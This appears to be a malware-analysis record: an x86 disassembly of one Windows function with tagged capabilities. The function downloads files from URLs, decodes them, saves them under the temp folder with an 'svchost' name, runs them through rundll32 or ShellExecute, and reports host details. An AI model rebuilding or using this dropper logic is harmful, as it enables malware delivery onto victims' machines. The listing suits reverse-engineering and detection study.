Function at 0x404860
Capabilities:
Check if file exists
Create directory
Create process on windows
Create thread
Delete file
Download and write a file
Download url
Get common file path
Get file attributes
Get file size
Move file
Read file on windows
Receive and write data from server to client
Receive data
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
mov ebx, ecx
mov byte [ebp - 1], 1
push esi
push 0
mov dword [ebp - 0x14], ebx
mov eax, dword [ebx + 8]
mov ecx, dword [eax]
mov eax, dword [ecx]
call dword [eax]
mov ecx, dword [ebx + 4]
call fcn.00401300
mov esi, eax
mov dword [ebp - 0x24], esi
test esi, esi
je 0x4051f5
cmp byte [esi], 0
je 0x4051e3
mov eax, dword [ebx + 8]
push 1
mov ecx, dword [eax]
mov eax, dword [ecx]
call dword [eax]
cmp byte [esi + 0x2c], 0
je 0x4048bd
mov ecx, dword [ebx + 8]
push 8
call fcn.004054d0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push edi
push 8
mov dword [ebp - 0x20], 0
call fcn.00407a61
add esp, 4
mov dword [ebp - 0x3c], eax
lea ecx, [ebp - 0x20]
mov dword [eax], esi
push 0
push 0
push eax
push 0x4041e0
push 0
push 0
mov dword [eax + 4], ecx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x14
mov dword [ebp - 0x38], eax
call fcn.00407a61
mov edi, eax
xor edx, edx
add esp, 4
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x28], edx
mov dword [edi], 0
mov dword [edi + 4], 0
mov dword [edi + 8], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0xc], 0
cmp dword [esi + 0x10], edx
jle 0x404e02
mov eax, dword [esi + 4]
push 0xc
mov esi, dword [eax + edx*4]
mov dword [ebp - 0x18], esi
call fcn.00407a61
mov ebx, eax
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 8], ebx
push 0xff
mov dword [ebp - 0x34], ebx
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebp - 0x28], eax
mov dword [ebx], eax
mov dword [ebx + 4], 5
call fcn.00407a9f
mov edx, eax
mov dword [ebp - 0x2c], eax
mov ecx, 4
call fcn.00407550
push 0xff
call fcn.00407a9f
mov ecx, dword [ebp - 0x2c]
mov edx, eax
push 0xff
mov dword [ebp - 0x10], eax
call fcn.00407830
add esp, 0x10
test al, al
je 0x404d9f
push 0
push 0
push dword [ebp - 0x10]
push dword [esi]
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jne 0x404d81
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x404d81
test al, 0x10
jne 0x404d81
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x400
call fcn.00407a9f
mov dword [ebp - 0xc], eax
mov eax, dword [esi + 8]
push 0xff
mov dword [ebp - 0x30], eax
call fcn.00407a9f
add esp, 8
mov ebx, eax
push ebx
push 0xff
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x400
call fcn.00407a9f
add esp, 4
mov edi, eax
push 0xff
call fcn.00407a9f
mov esi, eax
mov ecx, 0xf
mov edx, esi
call fcn.00407550
push esi
push ebx
push str._s_s
push edi
call dword [sym.imp.USER32.dll_wsprintfA]
push esi
call fcn.00407a5c
add esp, 0x18
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x404a60
test al, 0x10
jne 0x404a21
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x404cbd
push dword [ebp - 0x30]
push edi
push str._s_svchost._s
push edi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 0x400
ja 0x404cbd
mov esi, dword [ebp - 0xc]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push edi
call fcn.00407a5c
push ebx
call fcn.00407a5c
mov edi, dword [ebp - 0x18]
add esp, 8
cmp byte [edi + 0xc], 0
je 0x404c93
xor edi, edi
push edi
push edi
push 3
push edi
push 1
push 0x80000000
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x404b80
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
push esi
mov dword [ebp - 0x30], esi
call fcn.00407a9f
add esp, 4
mov edi, eax
push 0
push 0
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x404b80
mov esi, dword [ebp - 0x30]
mov edx, esi
push ecx
push 0x4238a0
mov ecx, edi
call fcn.00403f90
add esp, 8
mov byte [ebp - 1], 0
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x404b63
push 0
push 0
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
push ebx
setne byte [ebp - 1]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov bl, byte [ebp - 1]
test bl, bl
jne 0x404b99
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov esi, dword [ebp - 8]
mov dword [esi + 8], eax
mov dword [esi + 4], 4
jmp 0x404b9c
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov esi, dword [ebp - 8]
mov bl, byte [ebp - 1]
mov dword [esi + 8], eax
mov dword [esi + 4], 4
jmp 0x404b9c
mov esi, dword [ebp - 8]
test edi, edi
je 0x404ba9
push edi
call fcn.00407a5c
add esp, 4
mov edi, dword [ebp - 0x18]
test bl, bl
je 0x404d65
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x404d55
test al, 0x10
jne 0x404d55
mov eax, dword [edi + 4]
cmp eax, 2
jne 0x404cf3
mov ebx, dword [edi + 0x10]
push 0x100
call fcn.00407a9f
movq xmm0, qword [str.rundll32__]
mov ecx, eax
mov edx, dword [ebp - 0xc]
add esp, 4
mov dword [ebp - 0x18], ecx
mov esi, edx
movq qword [ecx], xmm0
mov ax, word [0x420b78]
mov word [ecx + 8], ax
mov al, byte [0x420b7a]
mov byte [ecx + 0xa], al
mov al, byte [edx]
inc edx
test al, al
jne 0x404c12
sub edx, esi
lea edi, [ecx - 1]
nop
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x404c20
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, dword [ebp - 0x18]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [edx - 1]
nop dword [eax]
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x404c40
mov eax, dword [0x420b7c]
mov esi, ebx
mov dword [edi], eax
mov al, byte [ebx]
inc ebx
test al, al
jne 0x404c53
sub ebx, esi
lea edi, [edx - 1]
nop
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x404c60
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, edx
call fcn.004077a0
push dword [ebp - 0x18]
mov byte [ebp - 1], al
call fcn.00407a5c
mov cl, byte [ebp - 1]
add esp, 4
jmp 0x404d2c
push esi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x404ce8
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov esi, dword [ebp - 8]
mov bl, byte [ebp - 1]
mov dword [esi + 8], eax
mov dword [esi + 4], 4
jmp 0x404bac
push edi
call fcn.00407a5c
push ebx
call fcn.00407a5c
mov esi, dword [ebp - 8]
add esp, 8
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esi + 4], 4
call eax
mov bl, byte [ebp - 1]
mov dword [esi + 8], eax
jmp 0x404ba9
mov esi, dword [ebp - 8]
mov bl, byte [ebp - 1]
jmp 0x404bac
xor cl, cl
xor ebx, ebx
mov byte [ebp - 1], cl
sub eax, 1
je 0x404d0d
sub eax, 1
je 0x404bdd
sub eax, 1
jne 0x404d2c
push 5
push 0
push 0
push dword [ebp - 0xc]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
setg cl
mov byte [ebp - 1], cl
mov ebx, dword [ebp - 8]
test cl, cl
je 0x404d43
mov dword [ebx + 8], 0
mov dword [ebx + 4], 0
jmp 0x404d68
mov dword [ebx + 4], 2
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebx + 8], eax
jmp 0x404d68
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esi + 8], eax
mov dword [esi + 4], 3
mov ebx, dword [ebp - 8]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push dword [ebp - 0xc]
call fcn.00407a5c
mov edi, dword [ebp - 0x1c]
add esp, 4
jmp 0x404d9f
mov dword [ebx + 4], 1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebx + 8], eax
mov eax, dword [ebp - 0x14]
push 2
mov eax, dword [eax + 8]
mov ecx, dword [eax]
mov eax, dword [ecx]
call dword [eax]
mov dword [ebx + 4], 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 0x2c]
mov dword [ebx + 8], eax
call fcn.00407a5c
push dword [ebp - 0x10]
call fcn.00407a5c
mov cl, byte [ebp - 1]
add esp, 8
test cl, cl
jne 0x404dd0
mov dword [edi + 0xc], 3
mov eax, dword [edi + 4]
cmp eax, dword [edi + 8]
je 0x404de0
mov dword [eax], ebx
add dword [edi + 4], 4
jmp 0x404def
lea ecx, [ebp - 0x34]
push ecx
push eax
mov ecx, edi
call fcn.00405370
mov cl, byte [ebp - 1]
mov esi, dword [ebp - 0x24]
mov edx, dword [ebp - 0x28]
cmp edx, dword [esi + 0x10]
jl 0x404930
test cl, cl
je 0x404e09
mov dword [edi + 0xc], 1
mov eax, dword [ebp - 0x14]
push 3
mov eax, dword [eax + 8]
mov ecx, dword [eax]
mov eax, dword [ecx]
call dword [eax]
xor bl, bl
cmp byte [esi], bl
je 0x404f13
push 0xff
call fcn.00407a9f
add esp, 4
mov ebx, eax
mov dword [ebp - 0x2c], ebx
call fcn.00406b60
push 0xff
push ebx
push 4
mov ecx, eax
mov dword [ebp - 0x34], eax
call fcn.00401260
push 0xff
call fcn.00407a9f
mov edx, dword [esi + 0x38]
mov ebx, eax
add esp, 4
mov esi, ebx
nop
mov cl, byte [edx]
lea edx, [edx + 1]
mov byte [esi], cl
lea esi, [esi + 1]
test cl, cl
jne 0x404e60
mov edx, dword [ebp - 0x24]
mov edx, dword [edx + 0x30]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x404e76
sub edx, esi
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x404e82
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, dword [ebp - 0x2c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x404ea0
sub edx, esi
lea edi, [ebx - 1]
nop dword [eax]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x404eb0
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0xff
call fcn.00407a9f
mov ecx, dword [ebp - 0x34]
add esp, 4
mov esi, eax
push 0xff
push esi
push 2
call fcn.00401260
mov eax, dword [ebp - 0x24]
mov ecx, esi
push ebx
mov edx, dword [eax + 0x34]
call fcn.00406f20
push dword [ebp - 0x2c]
mov byte [ebp - 1], al
call fcn.00407a5c
push ebx
call fcn.00407a5c
push esi
call fcn.00407a5c
mov bl, byte [ebp - 1]
add esp, 0x10
mov edi, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
push 4
mov eax, dword [eax + 8]
mov ecx, dword [eax]
mov eax, dword [ecx]
call dword [eax]
test bl, bl
jne 0x404f2c
mov dword [edi + 0xc], 2
push 0x400
call fcn.00407a9f
mov ecx, dword fs:[0x30]
mov dword [edi + 0x10], eax
push 0x400
mov dword [ebp - 0x30], eax
mov ebx, dword [ecx + 0xa4]
mov edi, dword [ecx + 0xa8]
movzx esi, word [ecx + 0xac]
call fcn.00407a9f
push esi
push edi
push ebx
mov ebx, eax
mov dword [ebp - 0x34], eax
push str.Windows__d._d._d
push ebx
call dword [sym.imp.USER32.dll_wsprintfA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x1c
push ebx
call edi
push ebx
cmp eax, 0x400
ja 0x4050d6
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push ebx
call fcn.00407a5c
mov eax, dword [ebp - 0x14]
push 0x800
mov eax, dword [eax + 4]
mov dword [ebp - 0x34], eax
call fcn.00407a9f
add esp, 8
mov ebx, eax
mov dword [ebp - 0x28], ebx
call fcn.00406b60
push 0x800
mov esi, eax
push ebx
push 5
mov ecx, esi
call fcn.00401260
push 0xff
call fcn.00407a9f
add esp, 4
mov dword [ebp - 0x10], eax
mov ecx, esi
push 0xff
push eax
push 2
call fcn.00401260
mov ecx, dword [ebp - 0x1c]
call fcn.00406210
mov ebx, eax
test ebx, ebx
je 0x4050b2
mov esi, ebx
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x405002
sub esi, ecx
push ecx
push 0x423880
mov edx, esi
mov ecx, ebx
call fcn.00403f90
add esp, 8
mov edx, esi
mov ecx, ebx
call fcn.00403d20
push eax
mov dword [ebp - 0x18], eax
call edi
lea esi, [eax + 0xff]
push esi
call fcn.00407a9f
mov edx, eax
mov ecx, esi
mov edi, edx
mov dword [ebp - 0x2c], edx
xor al, al
add esp, 4
rep stosb byte es:[edi], al
mov ecx, dword [ebp - 0x18]
call fcn.004040d0
mov edx, dword [ebp - 0x2c]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x405055
mov edi, dword [ebp - 0x28]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x405062
push dword [ebp - 0x2c]
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.00407a5c
add esp, 4
push dword [ebp - 0x18]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edx, dword [ebp - 0x34]
push dword [ebp - 0x28]
mov esi, dword [ebp - 0x10]
mov ecx, esi
mov edx, dword [edx]
call fcn.00406f20
push ebx
call fcn.00407a5c
add esp, 8
jmp 0x4050b5
mov esi, dword [ebp - 0x10]
push dword [ebp - 0x28]
call fcn.00407a5c
push esi
call fcn.00407a5c
mov eax, dword [ebp - 0x14]
add esp, 8
mov eax, dword [eax + 8]
push 5
mov ecx, dword [eax]
mov eax, dword [ecx]
call dword [eax]
jmp 0x4050de
call fcn.00407a5c
add esp, 4
mov ebx, dword [ebp - 0x1c]
mov eax, dword [ebx + 0x10]
test eax, eax
je 0x4050f1
push eax
call fcn.00407a5c
add esp, 4
mov edi, dword [ebx + 4]
mov esi, dword [ebx]
cmp esi, edi
je 0x405118
nop word [eax + eax]
mov eax, dword [esi]
test eax, eax
je 0x405111
push 0xc
push eax
call fcn.00407a91
add esp, 8
add esi, 4
cmp esi, edi
jne 0x405100
mov eax, dword [ebx]
pop edi
test eax, eax
je 0x405163
mov ecx, dword [ebx + 8]
sub ecx, eax
and ecx, 0xfffffffc
cmp ecx, 0x1000
jb 0x405145
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4051fb
mov eax, edx
push ecx
push eax
call fcn.00407a91
mov dword [ebx], 0
add esp, 8
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
push 0x14
push ebx
call fcn.00407a91
add esp, 8
push 0x1d4c0
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov esi, dword [ebp - 0x20]
test esi, esi
je 0x4051c7
mov eax, dword [esi]
test eax, eax
je 0x4051a5
push 0x8000
push 0
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 0x20]
mov dword [eax], 0
xor eax, eax
mov esi, dword [ebp - 0x20]
test esi, esi
je 0x4051c7
test eax, eax
je 0x4051bc
push eax
call fcn.00407a5c
add esp, 4
mov dword [esi], 0
push 0xc
push esi
call fcn.00407a91
add esp, 8
push 8
push dword [ebp - 0x3c]
call fcn.00407a91
mov esi, dword [ebp - 0x24]
add esp, 8
cmp dword [esi + 0x3c], 0
je 0x4051e3
push esi
call fcn.00404380
mov ecx, esi
call fcn.00405e10
push 0x40
push esi
call fcn.00407a91
add esp, 8
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.0040c836
int3